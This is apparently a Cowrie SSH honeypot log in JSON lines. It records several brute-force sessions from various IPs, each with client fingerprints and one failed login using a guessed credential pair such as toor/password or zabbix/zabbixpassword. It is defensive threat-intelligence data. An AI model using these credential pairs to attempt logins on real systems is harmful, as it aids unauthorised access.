{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":44422,"dst_ip":"159.203.135.109","dst_port":22,"session":"243741ceed6b","protocol":"ssh","message":"New connection: 5.75.240.121:44422 (159.203.135.109:22) [session: 243741ceed6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:04.878606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:04.883215Z","src_ip":"5.75.240.121","session":"243741ceed6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:04.977742Z","src_ip":"5.75.240.121","session":"243741ceed6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dust","password":"dust@","message":"login attempt [dust/dust@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:05.169601Z","src_ip":"5.75.240.121","session":"243741ceed6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:06.266558Z","src_ip":"5.75.240.121","session":"243741ceed6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":47936,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca9823aa942","protocol":"ssh","message":"New connection: 82.153.157.222:47936 (10.17.0.5:22) [session: 7ca9823aa942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:16.750800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:16.755789Z","src_ip":"82.153.157.222","session":"7ca9823aa942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:16.922506Z","src_ip":"82.153.157.222","session":"7ca9823aa942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodejs","password":"nodejspass","message":"login attempt [nodejs/nodejspass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:17.313327Z","src_ip":"82.153.157.222","session":"7ca9823aa942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:18.406897Z","src_ip":"82.153.157.222","session":"7ca9823aa942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":45820,"dst_ip":"159.203.135.109","dst_port":22,"session":"d07a572d57a2","protocol":"ssh","message":"New connection: 131.161.249.165:45820 (159.203.135.109:22) [session: d07a572d57a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:58.742194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:58.749629Z","src_ip":"131.161.249.165","session":"d07a572d57a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:58.870147Z","src_ip":"131.161.249.165","session":"d07a572d57a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbixpassword","message":"login attempt [zabbix/zabbixpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:35:59.355497Z","src_ip":"131.161.249.165","session":"d07a572d57a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:00.481524Z","src_ip":"131.161.249.165","session":"d07a572d57a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":57326,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c31582059a3","protocol":"ssh","message":"New connection: 5.75.137.141:57326 (10.17.0.5:22) [session: 0c31582059a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:15.181559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:15.192603Z","src_ip":"5.75.137.141","session":"0c31582059a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:15.281303Z","src_ip":"5.75.137.141","session":"0c31582059a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"okb","password":"okb2017!","message":"login attempt [okb/okb2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:15.461380Z","src_ip":"5.75.137.141","session":"0c31582059a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:16.552296Z","src_ip":"5.75.137.141","session":"0c31582059a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":54920,"dst_ip":"10.17.0.5","dst_port":22,"session":"09ddb824b11c","protocol":"ssh","message":"New connection: 23.249.28.115:54920 (10.17.0.5:22) [session: 09ddb824b11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:18.820667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:18.829476Z","src_ip":"23.249.28.115","session":"09ddb824b11c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:19.016242Z","src_ip":"23.249.28.115","session":"09ddb824b11c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxadmin","password":"Linuxadmin123","message":"login attempt [linuxadmin/Linuxadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:19.790892Z","src_ip":"23.249.28.115","session":"09ddb824b11c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:20.980763Z","src_ip":"23.249.28.115","session":"09ddb824b11c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":43640,"dst_ip":"10.17.0.5","dst_port":22,"session":"73f8243f8d89","protocol":"ssh","message":"New connection: 64.227.144.233:43640 (10.17.0.5:22) [session: 73f8243f8d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:32.628762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:32.633389Z","src_ip":"64.227.144.233","session":"73f8243f8d89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:32.877624Z","src_ip":"64.227.144.233","session":"73f8243f8d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"axie","password":"AXIE","message":"login attempt [axie/AXIE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:33.369836Z","src_ip":"64.227.144.233","session":"73f8243f8d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:34.616349Z","src_ip":"64.227.144.233","session":"73f8243f8d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":55604,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4abefa7f6d","protocol":"ssh","message":"New connection: 34.81.72.185:55604 (159.203.135.109:22) [session: 5d4abefa7f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:42.391353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:42.395453Z","src_ip":"34.81.72.185","session":"5d4abefa7f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:42.590952Z","src_ip":"34.81.72.185","session":"5d4abefa7f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toor","password":"password","message":"login attempt [toor/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:43.406560Z","src_ip":"34.81.72.185","session":"5d4abefa7f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:36:44.604859Z","src_ip":"34.81.72.185","session":"5d4abefa7f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":46536,"dst_ip":"10.17.0.5","dst_port":22,"session":"81359c6a1895","protocol":"ssh","message":"New connection: 209.38.255.212:46536 (10.17.0.5:22) [session: 81359c6a1895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:10.338834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:10.343399Z","src_ip":"209.38.255.212","session":"81359c6a1895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:10.425639Z","src_ip":"209.38.255.212","session":"81359c6a1895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"Ethan123!","message":"login attempt [ethan/Ethan123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:10.785403Z","src_ip":"209.38.255.212","session":"81359c6a1895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:37:11.869215Z","src_ip":"209.38.255.212","session":"81359c6a1895","protocol":"ssh"}
